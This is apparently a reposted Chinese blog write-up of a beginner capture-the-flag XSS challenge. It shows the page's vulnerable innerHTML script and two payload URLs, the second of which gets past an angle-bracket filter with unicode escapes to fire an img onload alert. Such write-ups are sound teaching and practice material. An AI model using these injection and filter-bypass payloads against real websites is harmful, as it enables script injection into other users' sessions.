CTF一些入门题目的wp(一)

转载

Litchi_c 于 2018-05-25 10:40:09 发布 1286 收藏 1
分类专栏： ctf


ctf 专栏收录该内容
3 篇文章 0 订阅
订阅专栏

1. XSS注入测试 题目链接（http://103.238.227.13:10089）

进入网页后发现

由题目原先的提示得知注入点为id（GET方法），查看网页源代码，发现如下代码

```
<script>
var s="";    document.getElementById('s').innerHTML = s;
</script>
```

猜测应该是将s赋值为用户传上去的id的值
innerHTML无法执行进来的script 可以构造img标签来使script执行
测试一波：http://103.238.227.13:10089/?id=<%20img%20src=1%20onload=alert(_key_)/>
有回显 并没有成功，查看此时的源代码，发现<>被编码了 猜测应该是<>被过滤了
考虑将<>进行unicode编码，这样当代码被替换进去运行时，utf-8编码又会将其变回来
http://103.238.227.13:10089/?id=\u003c%20img%20src=1%20onload=alert(_key_)/\u003e
成功
参考做法：https://blog.csdn.net/wy_97/article/details/77755098